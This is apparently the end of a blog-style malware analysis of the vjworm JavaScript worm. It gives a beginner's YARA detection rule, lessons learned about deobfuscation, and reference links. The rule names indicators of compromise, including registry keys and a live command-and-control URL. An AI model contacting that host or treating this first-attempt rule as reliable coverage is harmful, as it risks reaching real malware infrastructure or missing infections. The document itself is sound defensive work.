I have always danced around the creation of YARA rules in my career. I’ve read the documentation, dealt with constructed rules but never written one myself. Below is the first attempt at a YARA rule. I’m sure that I will update this as I continue to gain familiarity with the best practice and structure of YARA. The documentation for YARA is pretty good too, and you can access it here https://yara.readthedocs.io/en/stable/
The following rule targets the deobfuscated components of the analysed vjworm sample to integrate into your YARA setup.
rule vjworm_921_campaign
{
meta:
created = "2022/11/29"
modified = "2022/12/01"
author = "polaryse"
description = "Simple YARA rule to detect the presence of vjworm"
strings:
$vjworm_regkey = "HKCU\\vjworm"
$vjworm_regkey_2 = "HKCU\\vjw0rm"
$vjworm = "vjworm"
$vjworm_2 = "vjw0rm"
$vjworm_C2 = "http://javaautorun.duia.ro"
$vjworm_delimiter = "|V|"
condition:
any of them
}
Lessons Learned in Analysis #
Analysis of this sample taught me a lot about how I deal with frustration, which is not to say well. This was the first real world sample that have analysed and it really challenged my general knowledge about JavaScript.
I beat my head against the wall more than once, and on something some would arguably call “simple”. I grumped and grumbled, beating myself up for not understanding immediately how to deobfuscate the second layer of this code. I sat there for hours, wasting time caught up in my frustration instead of doing something simple and logical.
Walking away.
The key take aways this taught me was whenever you are starting to feel your brows twist, your body hunch over the keyboard and more sighs and growls than you ever thought would come out of your mouth… start… just walk away. Set a timer for an hour, do what you can and then go for a good walk.
Secondly, don’t beat yourself up unnecesarily just cause you “haven’t had experience with running JavaScript code” or “I must be a terrible analyst cause I didn’t immediately identify how to deobfuscate this sample”. So what? Who cares, you do now. This technical report serves as evidence of that fact and working through your frustration has made you better for it.
Thirdly, look and I mean really look at the obfuscated script in its entirety. Don’t discount your hunches and make sure that, while you are analysing, you write down all of your leads so that you an explore them in full.
Resources #
Throughout this analysis, I found the following resources very useful.
Article | Description | Value |
---|---|---|
LIFARS Analysis of vjWorm | Analysis of an older variant of vjw0rm, they talk through the steps they took to get rid of the obfuscated layers. A complete sample of the worm. | Great alternative method for deobfuscating JS |
Malware Hell - Deobfuscating Scripts | How to deobfuscate various script types commonly used by malware | Provided a good approach to deobfuscation of JS for my brain in particular. Talked through console.log and some com object stuff that really got me thinking |